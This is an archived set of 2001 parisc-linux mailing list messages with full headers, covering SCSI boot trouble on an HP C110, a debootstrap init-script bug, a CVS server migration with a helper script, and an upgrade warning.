> Ie ID on SE SCSI are in a seperate address space from FWD SCSI.
> 

Maybe my memory fades but I believe I tried this once and it didn't work
to my surprise.... that's why I pointed it out. 


> grant



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Fri, 26 Oct 2001 00:32:56 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <E8D73E09-C9D2-11D5-8938-0030657D1C94@bigw.org>
References: <200110260453.WAA05297@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620683 28887 80.91.229.3 (22 Nov 2014 01:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 25 23:33:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80564482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Oct 2001 23:32:59 -0600 (MDT)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id AAA35186
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 00:27:49 -0500
In-Reply-To: <200110260453.WAA05297@puffin.external.hp.com>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12828

OK, so SEArch should see the CD drive regardless.  Should it also see 
the FWSCSI internal HDs?  They don't have anything on them...  But the 
Firmware doesn't show anything after its done searching, not the 2 HDs, 
the CD, or the DDS tape drive.  Whats that about CD option jumpers set 
wrong?  What should the correct configuration be?  The pins that it has 
on the back (its a HP branded toshiba XM-5401B 50pin narrow) are ID1, 
ID2, ID4, PRTY, PRV/ALW, TEST, and TERM.  ID2 and PRTY have jumpers 
connected, the rest are not shorted.  The CD drive case is an HP 
external drive with 2 HD50 pin connectors on the back.  Comes in 
matching case color and design to the C110.  I've got the cable from the 
external drive connected to the SESCSI port on the back of the C110, but 
the external bus is NOT terminated.  However, when connected to the 
internal 50pin narrow bus, it IS terminated, and bootup does not occur 
nor does SEA see it.  Perhaps the CD drive is whacked, I'll have to do 
network boot then :)  Anyone done that with MacOS X?  j/k.

For making a boot CD, what exactly has to be done to make it boot?  How 
does the firmware recognize that a particular media is bootable and what 
steps does it then take to load the bootstrap code into memory and from 
where on the media does that bootstrap code come?  Can the kernel be 
loaded from a plain ISO or does there need to be special 'first block 
magic code' that will do the rest?

If I try to boot of 'core.SCSI.2.0' it comes back and says ENTRY_INIT, 
nextline STATUS=-7, and then a couple of rows of 8 digit numbers, the 
first being 00000080.  What's it trying to do here?

Thanks again,
Dan

On Thursday, October 25, 2001, at 11:53 PM, Grant Grundler wrote:

> Daniel Williams wrote:
>> I've got a C110...  I picked up the .9 ISO and burned it with EasyCD
>> Creator on a Win2k box (I know, I know, but no access to a linux box
>> right now, I'm running FreeBSD and it doesn't have a burner).  Popped 
>> it
>> in and it won't boot.
>
> Uhm...I tried the same trick for IA64 Debian ISO and it didn't work 
> either.
> I should have looked in the parisc-linux mail archives before
> since folks have described how to do it right. Anyway, I found a 
> CD-writer
> on a linux box and ended up using cdrecord.
>
>> Too bad the firmware doesn't see the SCSI CD
>> either, when SEArching on bootup.
>
> "Sea" should see the CD-ROM. Very likely it's not properly
> connected or has the option jumpers set wrong for PDC.
>
>> SCSI CD is ID 2, but what bus is it on?
>
> When it's working right, "sea" should tell you regardless of
> whether it has a CD installed or not (I think).
>
> grant




From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Fri, 26 Oct 2001 00:11:27 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <m15x0DH-000OzaC@bame.riverrock.org>
References: <E8D73E09-C9D2-11D5-8938-0030657D1C94@bigw.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620683 28888 80.91.229.3 (22 Nov 2014 01:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Williams <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 00:11:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FB58482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 00:11:36 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA10157;
	Fri, 26 Oct 2001 00:11:27 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15x0DH-000OzaC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 00:11:27 -0600 (MDT) 
In-Reply-To: Your message of "Fri, 26 Oct 2001 00:32:56 CDT."
             <E8D73E09-C9D2-11D5-8938-0030657D1C94@bigw.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12829

> 
> For making a boot CD, what exactly has to be done to make it boot?  How 
> does the firmware recognize that a particular media is bootable and what 
> steps does it then take to load the bootstrap code into memory and from 
> where on the media does that bootstrap code come?  Can the kernel be 
> loaded from a plain ISO or does there need to be special 'first block 
> magic code' that will do the rest?

Yes there's a special first block, and our ISO images always have it.
The details of the block are well described.  Check the palo README.html,
or the palo data structure 'struct firstblock', or the PDC (firmware)
documents accessable from parisc-linux.org.

But I bet you didn't really want to know how to calculate checksums
and poke magic values into the first block :-)

> If I try to boot of 'core.SCSI.2.0' it comes back and says ENTRY_INIT, 
> nextline STATUS=-7, and then a couple of rows of 8 digit numbers, the 
> first being 00000080.  What's it trying to do here?

Another part of the firmware is called IODC, and I think there's
an iodc.pdf on line.  In there you can search for ENTRY_INIT, which is
a firmware procedure call, and look for the return status of -7 (If you
can't search PDF, look for something like ENTRY_IO and BOOTDEV_READ.
Sorry I don't recall what -7 is, but I'm guessing with your other symptoms
it's saying it can't even initialize the device, because it can't see it.

Until your 'search' command sees something I don't think booting
is going to work.  'Search' cycles through SCSI addresses
and while it's running you should see flashing access lights on
SCSI devices which have them like the CD.  'search' will display
the bootable devices despite what's on the media, though may not
show removable-media devices which are unloaded.  I'm betting on a
cable, connector, or termination problem -- hopefully not a fried
SCSI controller.

Good luck!

	-Paul Bame



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] How to Boot CD on C110
Date: Fri, 26 Oct 2001 09:10:55 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117CA42@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620683 28889 80.91.229.3 (22 Nov 2014 01:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:43 +0000 (UTC)
To: "'Daniel Williams'" <dan@bigw.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 01:11:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02055482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 01:11:22 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9Q7B1S00191;
	Fri, 26 Oct 2001 09:11:01 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <V1DWXKS7>; Fri, 26 Oct 2001 09:11:00 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12830

Hi,

	Hi Daniel,

	I had twice the same problem:
	First time I had two devices with the same scsi-id (mea culpa)

	Second time, the (internal) scsi flatcable was half detached
(probably during transport, or fiddling of my fellow workers)...

	Result was identical; after powerup, the SEA command did not show
anything, neither the internal disk, nor the cdrom-drive.


	Hope it helps, Hans.


	Too bad the firmware doesn't see the SCSI CD either, when SEArching
on bootup. 
	



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] very odd problem
Date: Fri, 26 Oct 2001 12:02:21 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20011026120221.A3151@marmite.its.uct.ac.za>
References: <F128WXpA1DHstgNogS400011dde@hotmail.com> <20011025135548.C17203@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620684 28892 80.91.229.3 (22 Nov 2014 01:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 04:03:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 951F1482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 04:03:29 -0600 (MDT)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with smtp (Exim 3.33 #4)
	id 15x3rO-000BOl-00
	for parisc-linux@lists.parisc-linux.org; Fri, 26 Oct 2001 12:05:06 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 593511A343; Fri, 26 Oct 2001 12:02:21 +0200 (SAST)
Content-Disposition: inline
In-Reply-To: <20011025135548.C17203@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12831

Hi

On Thu, Oct 25, 2001 at 01:55:48PM +0200, Albert Strasheim wrote:
> Hello,
> 
> I had this same problem on i386 -- I think it's a dependancy
> bug that gets exposed during installation (ppp depending on
> libpcap, I think), which causes some setup scripts to fail
> during installation.
> 
> Look for a start-stop-daemon.REAL file and copy it over your
> start-stop-daemon. I think that should solve the problem. Or
> I'm utterly confused... which is probably more likely. :-)

debootstrap moves start-stop-deamon to start-stop-daemon.REAL
(see /usr/lib/debootstrap/scripts/woody)

It's supposed to move it back again at the end, so maybe it
failed somewhere along the way?

> Regards,
> 
> Albert
> 
> On Thu, 25 Oct 2001, Kenneth Westelinck wrote:
> 
> > Hi all,
> > 
> > 
> > I've recently installed the test-release of woody on my 712/60. I've also 
> > compiled a recent kernel available from the parisc-linux site. All works 
> > well, except from a very strange problem. The start-stop-daemon call, which 
> > is used throughout the init scripts, doesn't seem to work. So, executing the 
> > 
> > inetd script results in nothing, not even an error. Starting inetd on the 
> > command line (/usr/sbin/inetd) works great. Is there a known bug in the 
> > start-stop-daemon program? Can this be solved, or will I have to rewrite my 
> > init scripts?
> > 
> > Many thanks in advance.
> > 
> > 
> > regards,
> > 
> > Kenneth



-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IMPORTANT CVS CHANGES
Date: Fri, 26 Oct 2001 09:59:01 -0600
Lines: 83
Approved: news@gmane.org
Message-ID: <m15x9Nt-000OzXC@bame.riverrock.org>
References: <m15wWmJ-000OzWC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620684 28896 80.91.229.3 (22 Nov 2014 01:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 09:59:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0790482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 09:59:03 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA31752
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 09:59:01 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15x9Nt-000OzXC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 09:59:01 -0600 (MDT) 
In-reply-to: Your message of "Wed, 24 Oct 2001 16:45:39 MDT."
             <m15wWmJ-000OzWC@bame.riverrock.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12832

Two more hours until the switch

> 
> It's time to move CVS from puffin.external.hp.com to cvs.parisc-linux.org
> 
> WHEN: Friday, 26-October, noon local time (US-MDT aka GMT-6)
> 
> At noon puffin.external's CVS will go down and shortly thereafter
> CVS will come up on cvs.parisc-linux.org along with an e-mail
> announcement.  Send questions to the list, or if that's too embarassing
> to me or taggart@fc.hp.com
> 
> 		WHAT YOU MUST DO
> 
> 1) You will not need to commit outstanding changes or do anything else
>    unusual prior to the switchover.
> 
> 2) You're probably setting CVSROOT somewhere, perhaps in your
>    .profile.  Change puffin.external.hp.com to cvs.parisc-linux.org and
>    /home/cvs/parisc to /var/cvs
> 
> 3) Every file named CVS/Root will need the same changes as #2.
>    Use the script 'move-cvs' to do this for you -- simply run it
>    in your top-level CVS directories, or the one above that perhaps.
>    'move-cvs' is attached to the end of this message and is available
>    from CVS on puffin.external as build-tools/move-cvs.
> 
> 4) Wherever you used puffin.external in a CVS-related way, start using
>    cvs.parisc-linux.org instead, for example you might have web bookmarks
>    for browsing the CVS archive.
> 
> 5) Don't count on LXR being available any time soon...
> 
>    	-Paul Bame
> 
> 
> ---------- move-cvs script starts next line
> #!/bin/sh
> 
> find . -type d -name CVS -print |
>     while read dir
>     do
> 	[ -s $dir/Root ] || continue
> 	root=$(<$dir/Root)
> 	case $root in
> 	    :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc)
> 	    	newroot=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs;;
> 	    :ext:*@puffin.external.hp.com:/home/cvs/parisc)
> 		user=${root#:ext:}
> 		user=${user%@puffin.external.hp.com:/home/cvs/parisc}
> 		newroot=:ext:$user@cvs.parisc-linux.org:/var/cvs;;
> 	    puffin.external.hp.com:/home/cvs/parisc)
> 	        newroot=cvs.parisc-linux.org:/var/cvs;;
> 	    /home/parisc/cvs)
> 	    	newroot=cvs.parisc-linux.org:/var/cvs;;
> 	    :pserver:anonymous@pehc:/home/cvs/parisc)
> 	    	newroot=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs;;
> 	    :ext:*@pehc:/home/cvs/parisc)
> 	        newroot=cvs.parisc-linux.org:/var/cvs
> 		user=${root#:ext:}
> 		user=${user%@pehc:/home/cvs/parisc}
> 		newroot=:ext:$user@cvs.parisc-linux.org:/var/cvs;;
> 	    pehc:/home/cvs/parisc)
> 	        newroot=cvs.parisc-linux.org:/var/cvs;;
> 	    /home/parisc/cvs)
> 	    	newroot=cvs.parisc-linux.org:/var/cvs;;
> 	    *) echo -e "\nCannot fix $dir/Root ($root)" >&2
> 	    	continue;;
> 	esac
> 
> 	cp $dir/Root $dir/Root.pehc
> 	echo $newroot > $dir/Root
> 	echo -e ".\c"
>     done
> echo
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WARNING: DO NOT APT-GET UPGRADE HPPA
Date: Fri, 26 Oct 2001 12:27:06 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20011026182706.2800037FD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620684 28899 80.91.229.3 (22 Nov 2014 01:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 12:27:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1328482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 12:27:07 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 1F3341F563; Fri, 26 Oct 2001 14:24:38 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 2800037FD7; Fri, 26 Oct 2001 12:27:06 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12833

As PeteM and others have discovered, upgrading your hppa box currently breaks 
a *lot*.

We are recommending that you DO NOT APT-GET UPGRADE until we find the problem 
and get it fixed. Someone will send an all-clear once it's safe to do so.

We think the latest hppa libc in Debian (2.2.4-3) is to blame but we don't 
know for sure yet.

Stay tuned....

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to Boot CD on C110
Date: Fri, 26 Oct 2001 12:38:01 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200110261838.MAA13212@puffin.external.hp.com>
References: <dan@bigw.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620685 28901 80.91.229.3 (22 Nov 2014 01:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@puffin.external.hp.com
To: Daniel Williams <dan@bigw.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 12:41:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCFC2482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Oct 2001 12:41:44 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA13212;
	Fri, 26 Oct 2001 12:38:01 -0600
In-Reply-To: Message from Daniel Williams <dan@bigw.org> 
   of "Fri, 26 Oct 2001 00:32:56 CDT." <E8D73E09-C9D2-11D5-8938-0030657D1C94@bigw.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12834

Daniel Williams wrote:
> OK, so SEArch should see the CD drive regardless.  Should it also see 
> the FWSCSI internal HDs?

Yes.

>  They don't have anything on them...  But the 
> Firmware doesn't show anything after its done searching, not the 2 HDs, 
> the CD, or the DDS tape drive.

hmm...PDC is pretty brain dead. Were those SCSI devices shipped with the
C110 or installed later?

> Whats that about CD option jumpers set wrong?
> What should the correct configuration be?  The pins that it has 
> on the back (its a HP branded toshiba XM-5401B 50pin narrow) are ID1, 
> ID2, ID4, PRTY, PRV/ALW, TEST, and TERM.  ID2 and PRTY have jumpers 
> connected, the rest are not shorted.

I don't know what they should be - I don't have the product manual.
ID2/PRTY sound like they are correct. I don't konw what PRV/ALW means.
(Prevent/Allow what?). TERM should probably be left disconnected.

BTW, just because the drive is from HP doesn't mean it's setup
to work w/ an HP workstation. Firmware on the drive could do things
that confuse PDC/IODC.

> nor does SEA see it.

You need to figure this output first...try a different drive perhaps.
The FWD drives not being seen concerns me just as much.

grant



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS switch complete
Date: Fri, 26 Oct 2001 13:34:45 -0600
Lines: 5
Approved: news@gmane.org
Message-ID: <E15xCkf-00062G-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620685 28903 80.91.229.3 (22 Nov 2014 01:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 13:34:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74A0E482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 13:34:47 -0600 (MDT)
